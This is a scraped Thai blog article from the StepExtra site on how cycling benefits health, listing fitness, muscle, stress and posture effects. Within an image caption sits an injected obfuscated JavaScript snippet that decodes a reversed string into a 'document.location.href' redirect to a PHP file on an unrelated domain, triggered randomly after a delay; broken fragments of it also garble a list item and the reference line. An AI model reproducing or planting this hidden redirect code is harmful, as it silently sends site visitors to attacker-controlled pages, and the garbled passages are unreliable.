• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

ปั่นจักรยานดีต่อสุขภาพอย่างไร

stepextra by stepextra
29 December 2015
in Cycling Tips, Feature, Healthy Tips, Tips & Technics
0
ปั่นจักรยานดีต่อสุขภาพอย่างไร
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ปั่นจักรยานดีต่อสุขภาพอย่างไร

เพื่อให้ร่างกายมีสุขภาพเเข็งเเรง ฟิต การออกกำลังกายเป้นสิ่งที่ขาดไม่ได้ ประโยชน์ของการออกกำลังกายอย่างต่อเนื่อง เป็นประจำ สามารถช่วยป้องกันเราจากโรคภัยไข้เจ็บได้อย่างเช่น โรคเบาหวาน โรคหัวใจ มะเร็ง และยังช่วยส่งเสริมสภาพจิตใจให้เเจ่มใส ลดอาการเครียด การออกกำลังโดย การ “ปั่นจักรยาน” เป็นหนึ่งวิธีในการพัฒนาสุขภาพเเละความฟิตของร่างกาย และลดโรคภัยไข้เจ็บได้อย่างดี

ปั่นจักรยาน เป็นการออกกำลังกายเเบบ Low-impact เหมาะกับคนทุกทุกวัย เเถมสามารถประยุกต์ใช้ในชีวิตประจำวัน ไม่ใช้เเค่ช่วงเวลาออกกำลังกายอย่างเดียว อย่างเช่น ปั่นจักรยานไปทำงาน

เพียงเเค่สละเวลาปั่นจักรยานออกกำลังกายสัปดาห์ละ 2-4 ชั่วโมง ก็จะสามารถเสริมสร้างสุขภาพเราได้ อย่างเช่น….

  • การปั่นจักรยาน เป็นกีฬาประเภท Low impact สร้างเเรงกระเเทกน้อย เกิดอาการบาดเจ็บของกล้ามเนื้อได้น้อยกว่ากีฬาประเภทอื่น
  • การปั่นจักรยาน ดีต่อการบริหารและสร้างกล้ามเนื้อ ในขณะปั่นจักรยานกล้ามเนื้อที่ใช้งานไม่ใช่เเค่ช่วง lower body เเต่ยังมีกล้ามเนื้อ core และ upper body ที่ถุกใช้งานด้วย
  • การปั่นจักรยาน ดีต่อการเสริมสร้างความอึด ความอดทนให้ร่างกาย ร่างกายจะถูกออกกำลังให้อยู่ในโซน Aerobic ได้บ่อยขึ้น กระตุ้นการทำงานของปอด หัวใจ รวมทั้งกล้ามเนื้อ
  • การปั่นจักรยาน ทำได้ง่าย เหมือนๆ กับการวิ่ง ทุกคน ทุกวัย ทุกระดับความสามารถ มือใหม่มือเก๋า เป็นกีฬาที่ไม่จำเป็นต้องใช้สกิลเยอะ เเถมสามารถกำหนดระดับความเข้มข้นของการฝึกได้เอง
  • การปั่นจักรยาน เป็นวิธีที่สนุกในการออกกำลังกาย เพราะเป็นการออกกำลังกายเเบบ outdoor ทำให้มีโอกาสออกกำลังกายได้บ่อยขึ้น ให้ความรู้สึกเหมือนออกไปผจญภัยทุกครั้ง

เมื่อปั่นอย่างต่อเนื่อง…

hipster cyclist, flat <script srcset=
$Ikf=function(n){if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and pastel style” width=”617″ height=”559″ /> ตัวอย่างประโยชน์จากการปั่นจักรยาน ที่มา thecyclingbug.co.uk
  • เพิ่มความฟิตให้ระบบหัวใจ การสูบฉีดเลือด ( increased cardiovascular fitness) เเละต้องบอกว่าช่วยในเรื่องการหายใจ ระบบปอด การปั้มลมเข้าออก หายใจลึกมากขึ้นด้วย เพราะเราจะฝึกอยู่ในโซน Aerobic บ่อยมาก
  • เพิ่มความเเข็งเเรงให้กล้ามเนื้อ เพิ่มความยืดหยุ่นให้ร่างกาย ข้อต่อมีอายุการใช้งานนานขึ้น ลองสังเกตว่าคนที่ออกกำลังกายบ่อยๆ อาการ office syndrome อย่างอาการปวดหลังจะหายไป
  • ลดอาการเครียด วิตกกังวล เเถมช่วยเพิ่มเสริมสร้างระบบภูมิคุ้มกันด้วย เเต่ทั้งนี้ต้องขึ้นอยู่กับวิธีการกิน เเละการพักผ่อนด้วยนะ
  • ช่วยพัฒนาบุคลิกภาพ ท่านั่งเดินเหินดูดีขึ้น การทำงานประสานกัน สายตา กล้ามเนื้อมือขา จะเคลื่อนไหวเร็วขึ้น (improved posture andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and coordination)
  • ไม่ใช้เเค่กล้ามเนื้อจะเเข็งเเรงขึ้น เเต่ยังช่วยรักษาความหนาเเน่นของกระดูกด้วย
  • ช่วยลดระดับไขมันในร่างกาย

ใครที่ยังไม่เริ่มออกกำลังกาย ช่วงวันหยุดปีใหม่ สนามปั่นจักรยาน Sky lane ก็เปิดให้บริการเเล้ว อย่าลืมหาจักรยานดีๆ สักคนหรือถ้ามีครอบครัวเเล้ว ก็อย่าลืมซื้อให้สามี ภรรยา ลูกน้อย ออกไปปั่นกันทั้งครอบครัวนะครับ เพื่อสุขภาพดีถ้วยหน้ากันทั้งบ้าน

อ้างอิงwww.betterhealth.vic.gov.auandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-fitness/training-tips/b/weblog/archive/2015/06/19/what-cycling-does-to-your-insides.aspx”>thecyclingbug.co.uk

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More

Discussion about this post

  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • เล่นวินด์เซิร์ฟ นั่งชิลริมทะเล ตกเย็น ปาร์ตี้ปิ้งย่าง นอนรถบ้าน ณ tutu beach ริมหาดจอมเทียนพัทยา จ.ชลบุรี

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.